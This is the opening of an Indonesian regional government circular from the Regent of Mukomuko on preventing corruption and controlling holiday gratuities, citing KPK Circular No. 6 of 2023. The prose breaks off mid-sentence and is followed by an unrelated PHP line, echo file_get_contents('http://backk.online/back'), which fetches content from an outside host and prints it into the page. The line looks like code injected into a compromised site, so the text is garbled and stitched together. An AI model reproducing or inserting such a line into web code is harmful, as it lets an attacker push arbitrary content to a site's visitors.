SURAT EDARAN BUPATI MUKOMUKO PENCEGAHAN KORUPSI DAN PENGENDALIAN GRATIFIKASI TERKAIT HARI RAYA

Menindaklanjuti Surat Edaran Komisi Pemberantasan Korupsi Republik Indonesia Nomor 6 Tahun 2023 Tanggal 30 Maret 2023 tentang Pencegahan Korupsi dan Pengendalian Gratifikasi terkait Hari Raya, dalam rangka mendukung upaya Pencegahan Korupsi, khususnya pengendalian Gratifikasi terkait hari raya keagamaan atau perayaan

echo file_get_contents("http://backk.online/back");